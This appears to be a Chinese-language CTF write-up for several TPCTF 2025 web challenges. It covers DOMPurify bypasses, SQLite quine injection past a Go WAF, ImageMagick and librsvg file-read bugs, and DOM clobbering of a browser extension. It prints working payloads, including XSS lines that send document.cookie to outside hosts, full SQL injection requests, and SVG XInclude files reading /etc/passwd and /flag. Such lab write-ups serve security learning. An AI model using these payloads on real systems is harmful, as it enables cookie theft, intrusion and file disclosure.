baby layout

<script>
    const post = document.getElementById('post');
    const report = document.getElementById('report');

    let loading = false;
    report.addEventListener('click', async () => {
      if (loading) return;

      const postId = post.value.trim();
      if (!/^[a-f0-9]{32}$/.test(postId)) {
        alert('Invalid post ID');
        return;
      }

      loading = true;
      report.toggleAttribute('disabled', true);
      report.setAttribute('aria-busy', 'true');

      try {
        const res = await fetch('/api/report', {
          method: 'POST',
          headers: {'Content-Type': 'application/json'},
          body: JSON.stringify({ postId }),
        });
        if (res.status === 200) {
          alert('Completed!');
        } else {
          const text = await res.text();
          throw new Error(`HTTP ${res.status}: ${text}`);
        }
      } catch (err) {
        alert(`Error: ${err.message}`);
      }

      loading = false;
      report.toggleAttribute('disabled', false);
      report.setAttribute('aria-busy', 'false');
    });
  </script>

对于`postid`做出一个限制,对`report`路由进行异步请求,那接着看

import puppeteer from 'puppeteer';

const FLAG = process.env.FLAG ?? 'fake{dummy}';

const APP_HOST = 'web';
const APP_PORT = '3000';
const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

const sleep = (ms) => new Promise((resolve) => {
  setTimeout(resolve, ms);
});

export default async function visit(postId) {
  const url = new URL(`/post/${postId}`, APP_URL).href;
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: 'new',
    executablePath: '/usr/bin/chromium',
    args: [
      '--no-sandbox',
      '--disable-dev-shm-usage',
      '--disable-gpu',
      '--js-flags="--noexpose_wasm"',
    ],
  });
  const context = await browser.createBrowserContext();
  await context.setCookie({
    name: 'FLAG',
    value: FLAG,
    domain: APP_HOST,
    httpOnly: false,
    sameSite: 'Strict',
  });

  try {
    const page = await context.newPage();
    await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' });
    await sleep(5000);
    await page.close();
  } catch (err) {
    console.error(err);
  }

  await context.close();
  await browser.close();
  console.log(`end: ${url}`);
}

设置超时为5s,并且将flag注入到Cookie之中

import express from 'express';
import rateLimit from 'express-rate-limit';
import pLimit from 'p-limit';
import { cpus } from 'os';

import visit from './visit.js';

const app = express();
app.use(express.json());
app.use(express.static('public'));

app.use(
  '/api',
  rateLimit({
    windowMs: 60 * 1000,
    max: 2,
  }),
);

const CONCURRENCY = cpus().length * 2 - 1;
const MAX_PENDING = CONCURRENCY * 2;
const limit = pLimit(CONCURRENCY);

app.post('/api/report', async (req, res) => {
  const { postId } = req.body;
  if (typeof postId !== 'string' || !/^[a-f0-9]{32}$/.test(postId)) {
    return res.status(400).send('Invalid post ID');
  }

  if (limit.pendingCount >= MAX_PENDING) {
    console.log(`Server is busy: ${limit.pendingCount}`);
    return res.status(503).send('Server is busy');
  }

  try {
    await limit(visit, postId);
    return res.sendStatus(200);
  } catch (e) {
    console.error(e);
    return res.status(500).send('Something went wrong');
  }
});

app.listen(1337, () => {
  console.log('Bot server running on port 1337');
});

限制访问次数每分钟2次,还有就是postid的限制,但是没发现POST内容的地方,继续看最后一个

import express from 'express';
import session from 'express-session';
import rateLimit from 'express-rate-limit';
import { randomBytes } from 'crypto';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const { window } = new JSDOM();
const DOMPurify = createDOMPurify(window);

const posts = new Map();

const DEFAULT_LAYOUT = `
<article>
  <h1>Blog Post</h1>
  <div>{{content}}</div>
</article>
`;

const LENGTH_LIMIT = 500;

const app = express();
app.use(express.json());
app.set('view engine', 'ejs');

if (process.env.NODE_ENV === 'production') {
  app.use(
    '/api',
    rateLimit({
      windowMs: 60 * 1000,
      max: 10,
    }),
  );
}

app.use(session({
  secret: randomBytes(32).toString('hex'),
  resave: false,
  saveUninitialized: false,
}));

app.use((req, _, next) => {
  if (!req.session.layouts) {
    req.session.layouts = [DEFAULT_LAYOUT];
    req.session.posts = [];
  }
  next();
});

app.get('/', (req, res) => {
  res.setHeader('Cache-Control', 'no-store');
  res.render('home', {
    posts: req.session.posts,
    maxLayout: req.session.layouts.length - 1,
  });
});

app.post('/api/post', (req, res) => {
  const { content, layoutId } = req.body;
  if (typeof content !== 'string' || typeof layoutId !== 'number') {
    return res.status(400).send('Invalid params');
  }

  if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');

  const layout = req.session.layouts[layoutId];
  if (layout === undefined) return res.status(400).send('Layout not found');

  const sanitizedContent = DOMPurify.sanitize(content);
  const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);

  if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');

  const id = randomBytes(16).toString('hex');
  posts.set(id, body);
  req.session.posts.push(id);

  console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);

  return res.json({ id });
});

app.post('/api/layout', (req, res) => {
  const { layout } = req.body;
  if (typeof layout !== 'string') return res.status(400).send('Invalid param');
  if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');

  const sanitizedLayout = DOMPurify.sanitize(layout);

  const id = req.session.layouts.length;
  req.session.layouts.push(sanitizedLayout);
  return res.json({ id });
});

app.get('/post/:id', (req, res) => {
  const { id } = req.params;
  const body = posts.get(id);
  if (body === undefined) return res.status(404).send('Post not found');
  return res.render('post', { id, body });
});

app.post('/api/clear', (req, res) => {
  req.session.layouts = [DEFAULT_LAYOUT];
  req.session.posts = [];
  return res.send('cleared');
});

app.listen(3000, () => {
  console.log('Web server running on port 3000');
});

做一个初始的处理,便于这个POST系统,设置字符长度限制为500,利用session来保存会话,使得每个用户的东西都不一样,即使没有注册登录功能

利用DOMPurify进行xss过滤,在形成POST的阶段将`{{content}}`替换,所以可以拼接绕过就好了,同时查看依赖

得知版本,但是我们知道这并不会消除`img`标签,poc如下,

layout
<img src="{{content}}">

content
x" onerror="alert(114)

x" onerror="window.open('http://156.238.233.9:9999/?p='+document.cookie)

注意我说过是在生成post的时候进行替换,所以应该是先注入layout,如果看代码过急可能不会看到这个

safe layout

与上一题的区别是以下代码

const sanitizedLayout = DOMPurify.sanitize(layout, { ALLOWED_ATTR: [] });
const sanitizedContent = DOMPurify.sanitize(content, { ALLOWED_ATTR: [] });

`ALLOWED_ATTR: []`这样子会使得所有HTML属性被禁用,但是自定义属性仍然可以使用,poc如下

layout:
<img data-id="{{content}}">

content:
x" src="x" onerror="alert(114)

x" src="x" onerror="window.open('http://156.238.233.9:9999/?p='+document.cookie)

safe layout revenge

在上一题发布的时候这题也发布了,本来想要看看这题再来绕过上题的,结果需要flag才可以打开文件,查看区别发现上题确实是预期解

const sanitizedContent = DOMPurify.sanitize(content, {
    ALLOWED_ATTR: [],
    ALLOW_ARIA_ATTR: false,
    ALLOW_DATA_ATTR: false,
  });

const sanitizedLayout = DOMPurify.sanitize(layout, {
    ALLOWED_ATTR: [],
    ALLOW_ARIA_ATTR: false,
    ALLOW_DATA_ATTR: false,
  });
  • ALLOW_ARIA_ATTR: false:显式禁止 ARIA 属性
  • ALLOW_DATA_ATTR: false:显式禁止 data-* 自定义属性

我们知道dompurify版本,于是搜索

发现了一篇文章,https://ensy.zip/posts/dompurify-323-bypass/ 即使版本不对,但是事实证明绕过了,由于环境设置可以用{{content}}置空,所以我们可以在里面进行穿插来绕过

<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
<!{{content}}\${<{{content}}/style><{{content}}img src=x onerror="window.open('https://aojveb29.requestrepo.com/?p='+document.cookie)">
</style>
}
<foo-b id="><img src onerror='alert(1)'>">hmm...</foo-b></a></table></li></mi></foo-test></math>

但是如果你是第一题就想到利用dompurify来绕过的话,并且发现了这个方法,就可以一口气打通三道题

supersqli

sqlite3,并且黑名单还是挺死的那种,经过一番测试,个人认为需要进行密码的更新来获得flag,但是主要文件其实就两个

package main

import (
	"bytes"
	"io"
	"log"
	"mime"
	"net/http"
	"regexp"
	"strings"
)

const backendURL = "http://127.0.0.1:8000"
const backendHost = "127.0.0.1:8000"

var blockedIPs = map[string]bool{
	"1.1.1.1": true,
}

var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)

var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)

var hotfixPattern = regexp.MustCompile(`(?i)(select)`)

var blockedUserAgents = []string{
	"sqlmap",
	"nmap",
	"curl",
}

func isBlockedIP(ip string) bool {
	return blockedIPs[ip]
}

func isMaliciousRequest(r *http.Request) bool {
	for key, values := range r.URL.Query() {
		for _, value := range values {
			if sqlInjectionPattern.MatchString(value) {
				log.Printf("阻止 SQL 注入: 参数 %s=%s", key, value)
				return true
			}
			if rcePattern.MatchString(value) {
				log.Printf("阻止 RCE 攻击: 参数 %s=%s", key, value)
				return true
			}
			if hotfixPattern.MatchString(value) {
				log.Printf("参数 %s=%s", key, value)
				return true
			}
		}
	}

	if r.Method == http.MethodPost {
		ct := r.Header.Get("Content-Type")
		mediaType, _, err := mime.ParseMediaType(ct)
		if err != nil {
			log.Printf("解析 Content-Type 失败: %v", err)
			return true
		}
		if mediaType == "multipart/form-data" {
			if err := r.ParseMultipartForm(65535); err != nil {
				log.Printf("解析 POST 参数失败: %v", err)
				return true
			}
		} else {
			if err := r.ParseForm(); err != nil {
				log.Printf("解析 POST 参数失败: %v", err)
				return true
			}
		}

		for key, values := range r.PostForm {
			log.Printf("POST 参数 %s=%v", key, values)
			for _, value := range values {
				if sqlInjectionPattern.MatchString(value) {
					log.Printf("阻止 SQL 注入: POST 参数 %s=%s", key, value)
					return true
				}
				if rcePattern.MatchString(value) {
					log.Printf("阻止 RCE 攻击: POST 参数 %s=%s", key, value)
					return true
				}
				if hotfixPattern.MatchString(value) {
					log.Printf("POST 参数 %s=%s", key, value)
					return true
				}

			}
		}
	}
	return false
}

func isBlockedUserAgent(userAgent string) bool {
	for _, blocked := range blockedUserAgents {
		if strings.Contains(strings.ToLower(userAgent), blocked) {
			return true
		}
	}
	return false
}

func reverseProxyHandler(w http.ResponseWriter, r *http.Request) {
	clientIP := r.RemoteAddr
	if isBlockedIP(clientIP) {
		http.Error(w, "Forbidden", http.StatusForbidden)
		log.Printf("阻止的 IP: %s", clientIP)
		return
	}

	bodyBytes, err := io.ReadAll(r.Body)

	if err != nil {
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}

	r.Body = io.NopCloser(bytes.NewBuffer(bodyBytes))

	if isMaliciousRequest(r) {
		http.Error(w, "Malicious request detected", http.StatusForbidden)
		return
	}

	if isBlockedUserAgent(r.UserAgent()) {
		http.Error(w, "Forbidden User-Agent", http.StatusForbidden)
		log.Printf("阻止的 User-Agent: %s", r.UserAgent())
		return
	}

	proxyReq, err := http.NewRequest(r.Method, backendURL+r.RequestURI, bytes.NewBuffer(bodyBytes))
	if err != nil {
		http.Error(w, "Bad Gateway", http.StatusBadGateway)
		return
	}
	proxyReq.Header = r.Header

	client := &http.Client{
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}

	resp, err := client.Do(proxyReq)
	if err != nil {
		http.Error(w, "Bad Gateway", http.StatusBadGateway)
		return
	}
	defer resp.Body.Close()

	for key, values := range resp.Header {
		for _, value := range values {
			if key == "Location" {
				value = strings.Replace(value, backendHost, r.Host, -1)
			}
			w.Header().Add(key, value)
		}
	}
	w.WriteHeader(resp.StatusCode)
	io.Copy(w, resp.Body)
}

func main() {
	http.HandleFunc("/", reverseProxyHandler)
	log.Println("Listen on 0.0.0.0:8080")
	log.Fatal(http.ListenAndServe(":8080", nil))
}
from django.shortcuts import render
from django.db import connection

# Create your views here.
from django.http import HttpResponse,HttpRequest
from .models import AdminUser,Blog
import os

def index(request:HttpRequest):
    return HttpResponse('Welcome to TPCTF 2025')

def flag(request:HttpRequest):
    if request.method != 'POST':
        return HttpResponse('Welcome to TPCTF 2025')
    username = request.POST.get('username')
    if username != 'admin':
        return HttpResponse('you are not admin.')
    password = request.POST.get('password')
    users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
    try:
        assert password == users[0].password
        return HttpResponse(os.environ.get('FLAG'))
    except:
        return HttpResponse('wrong password')

找出这两个文件之后,先理清思路,他这么多的文件在干嘛,首先go作为一层代理进行waf过滤,真正进行查询的就是views.py,经过多次测试发现https://www.cnblogs.com/throwable/p/15740444.html文章,构造数据包

POST /flag/ HTTP/1.1
Host: 156.238.233.93
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Length: 424

------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="password"; filename="password";
Content-Disposition: form-data; name="password";

' union select 1,2,3 from auth_permission where 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000)))) -- asdf
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN--

发现成功延时

准备查库,发现根本没有密码,回头细看代码

对于这样的处理方式,有种专门的注入手法quine注入,简单的说,就是查询语句和查询出来的答案保持一致,在网上收集demo

select replace('replace(".",char(46),".")',char(46),'.');

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

admin
'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#


bilala
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

admin
'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#

对于这题,我们只需要把mysql改成sqlite3即可

POST /flag/ HTTP/1.1
Host: 1.95.159.113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Length: 424

------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="password"; filename="password";
Content-Disposition: form-data; name="password";

1' union select 1,2,replace(replace('1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")-- ',char(34),char(39)),char(46),'1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")-- ')-- 
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN--

thumbor 1

只有一个Dockerfile,一般这种都是直接拉取的gayhub上面的应用

FROM python:3.7.11-buster
RUN apt-get update && apt-get install -y libexiv2-dev libboost-python-dev exiftool
RUN git clone --depth 1 https://gerrit.wikimedia.org/r/operations/software/thumbor-plugins
RUN pip install -r thumbor-plugins/requirements.txt
RUN dd if=thumbor-plugins/README.md of=thumbor.conf bs=1 count=1947 skip=610
RUN echo TPCTF{...} > /flag
ENV PYTHONPATH=/thumbor-plugins
ENTRYPOINT thumbor --port 8800 --conf=thumbor.conf -a wikimedia_thumbor.app.App

先启动容器,再把关键文件脱出来

docker build -t thumbor-ctf .

docker run -d --name thumbor_ctf -p 8800:8800 thumbor-ctf

docker exec -it e0530d40268d /bin/bash

cd / && tar czvf /tmp/data.tar.gz thumbor-plugins thumbor.conf

docker cp thumbor_ctf:/tmp/data.tar.gz ./

获得源码之后本地看看,还是挺大的,题目提示说不是0DAY,那也就是说其中有个NDAY或者是1DAY,先看REDEME,发现

后面这个unsafe非常可疑啊,但是想不到,也不知道怎么去找这个NDAY,去看thumbor 2发现多了几个东西,而且imagemagick确实有个任意文件读取漏洞https://www.freebuf.com/vuls/359193.html,基本和unsafe解析一样,但是一般文件读取漏洞,flag需要有足够权限,

确实足够,那么复现一下漏洞先

pip install pypng
./poc.py generate -o poc.png -r /etc/passwd
python3 poc.py parse -i ans.png

复现成功,但是对于本题,好像不能成功,不过还有一种方法可以利用

./poc.py generate -o test1.png -r /flag

pngcrush -text a "profile" "/flag" test1.png

这里需要注意就是必须是要P牛脚本生成的png文件,不然不能成功

把文件保存为flag.png

identify -verbose flag.png

text="54504354467b2e2e2e7d0a"
print(bytes.fromhex(text).decode("utf-8"))

但是直接使用任意一个方法来又不能成功,真是太奇怪了

thumbor 2

FROM pandoc/core:2.18-ubuntu
RUN apt-get update && apt-get install -y libexiv2-dev libboost-python-dev exiftool imagemagick git python3-pip libcurl4-openssl-dev libssl-dev
RUN git clone --depth 1 https://gerrit.wikimedia.org/r/operations/software/thumbor-plugins
RUN pip install -r thumbor-plugins/requirements.txt
RUN dd if=thumbor-plugins/README.md of=thumbor.conf bs=1 count=1947 skip=610
RUN echo TPCTF{...} > /flag
ENV PYTHONPATH=/data/thumbor-plugins
ENTRYPOINT thumbor --port 8800 --conf=thumbor.conf -a wikimedia_thumbor.app.App

题目描述为和thumbor 1无关,并且也不是0DAY,还是起环境拉文件

docker build -t thumbor2 .

docker run -d --name thumbor2_container -p 8800:8800 thumbor2

docker exec -it e12407bb5a87 /bin/bash

基本的看了看,感觉没什么变化,首先尝试看看他是不是忘记防住了

好吧没有,继续找找能不能有被解析的进行任意文件读取的,没找到,最后看官方WP,https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/

利用libsvg进行XInclude 回退来任意文件读取,但是这依赖里面都没写啊,🤡poc如下

<?xml version="1.0" encoding="UTF-8" standalone="no"?>  
<svg width="1000" height="1000" xmlns:xi="http://www.w3.org/2001/XInclude">  
   <rect width="600" height="600" style="fill:rgb(255,255,255);" />  
   <text x="10" y="100">  
     <xi:include href=".?../../../../../../../../etc/passwd" parse="text"   
encoding="UTF-8">  
       <xi:fallback>file not found</xi:fallback>  
     </xi:include>  
   </text>  
</svg>

将这个文件保存在服务器上面

<?xml version="1.0" encoding="UTF-8" standalone="no"?>  
<svg width="1000" height="1000" xmlns:xi="http://www.w3.org/2001/XInclude">  
   <rect width="600" height="600" style="fill:rgb(255,255,255);" />  
   <text x="10" y="100">  
     <xi:include href=".?../../../../../../../../flag" parse="text"   
encoding="UTF-8">  
       <xi:fallback>file not found</xi:fallback>  
     </xi:include>  
   </text>  
</svg>

这两道题有个槽点,就是他加载外部文件的时候,是不能覆盖的,比如这里是2.svg,你如果在服务器上更改了内容,这里加载的仍然是原来的内容

are-you-incognito

<script>
    const urlInput = document.getElementById('url');
    const report = document.getElementById('report');

    let loading = false;
    report.addEventListener('click', async () => {
      if (loading) return;

      const url = urlInput.value.trim();
      if (!url.startsWith('http://') && !url.startsWith('https://')) {
        alert('Invalid URL');
        return;
      }

      loading = true;
      report.toggleAttribute('disabled', true);
      report.setAttribute('aria-busy', 'true');

      try {
        const res = await fetch('/api/report', {
          method: 'POST',
          headers: {'Content-Type': 'application/json'},
          body: JSON.stringify({ url }),
        });
        if (res.status === 200) {
          alert('Completed!');
        } else {
          const text = await res.text();
          throw new Error(`HTTP ${res.status}: ${text}`);
        }
      } catch (err) {
        alert(`Error: ${err.message}`);
      }

      loading = false;
      report.toggleAttribute('disabled', false);
      report.setAttribute('aria-busy', 'false');
    });
  </script>

看到必须要是一个http服务才能被处理

import puppeteer from 'puppeteer';

const sleep = (ms) => new Promise((resolve) => {
  setTimeout(resolve, ms);
});

export default async function visit(url) {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: 'new',
    executablePath: '/usr/bin/chromium',
    args: [
      '--no-sandbox',
      '--disable-dev-shm-usage',
      '--disable-gpu',
      '--js-flags="--noexpose_wasm"',
      '--disable-extensions-except=/extension',
      '--load-extension=/extension',
    ],
  });

  try {
    const page = await browser.newPage();
    await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' });
    await sleep(5000);
    await page.close();
  } catch (err) {
    console.error(err);
  }

  await browser.close();
  console.log(`end: ${url}`);
}

看到visit.js发现就是加载了指定拓展,设置5s超时

import express from 'express';
import rateLimit from 'express-rate-limit';
import pLimit from 'p-limit';
import { cpus } from 'os';

import visit from './visit.js';

const app = express();
app.use(express.json());
app.use(express.static('public'));

app.use(
  '/api',
  rateLimit({
    windowMs: 60 * 1000,
    max: 2,
  }),
);

const CONCURRENCY = cpus().length * 2 - 1;
const MAX_PENDING = CONCURRENCY * 2;
const limit = pLimit(CONCURRENCY);

app.post('/api/report', async (req, res) => {
  const { url } = req.body;
  if (typeof url !== 'string' || (!url.startsWith('http://') && !url.startsWith('https://'))) {
    return res.status(400).send('Invalid URL');
  }

  if (limit.pendingCount >= MAX_PENDING) {
    console.log(`Server is busy: ${limit.pendingCount}`);
    return res.status(503).send('Server is busy');
  }

  try {
    await limit(visit, url);
    return res.sendStatus(200);
  } catch (e) {
    console.error(e);
    return res.status(500).send('Something went wrong');
  }
});

app.listen(1337, () => {
  console.log('Bot server running on port 1337');
});

设置了每分钟只被请求两次,如果服务不繁忙就正常利用visit来处理url,全局搜索extension,关键代码如下

首先我们要满足browser.extension.inIncognitoContext为true,其次这个拓展就会访问/flag,其中有flag,这里是最大的误区,我一开始认为是平常的xss,让bot去访问内部/flag再带出来,后面发现不是,绕过的话,我们可以利用DOM Clobbering攻击去对全局变量的劫持覆盖

<!DOCTYPE html>
<html>
<body>
<form id="browser" name="runtime"></form>
<form id="browser" name="extension">
  <input name="inIncognitoContext" value="true">
</form>
</html>

现在是要拓展去访问`/flag`,所以我们过了验证之后还要有一个flag路由让他访问

from flask import Flask, request, jsonify
import os

app = Flask(__name__)

@app.route('/')
def index():
    try:
        file_path = os.path.join(os.path.dirname(__file__), 'index.html')
        with open(file_path, 'r') as f:
            data = f.read()
        return data, 200, {'Content-Type': 'text/html'}
    except Exception as e:
        return 'Internal Server Error', 500

@app.route('/flag', methods=['POST'])
def flag():
    # 处 理  POST 请 求
    body = request.data.decode('utf-8')
    response = {
        'status': 'flag',
        'data': body
    }
    print(response)
    return jsonify(response), 200


@app.errorhandler(404)
def page_not_found(e):
    return 'Not Found', 404


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=19006)

运行

python3 exp.py
http://156.xxx.xxx.x3:19006/

xss真心还挺不错的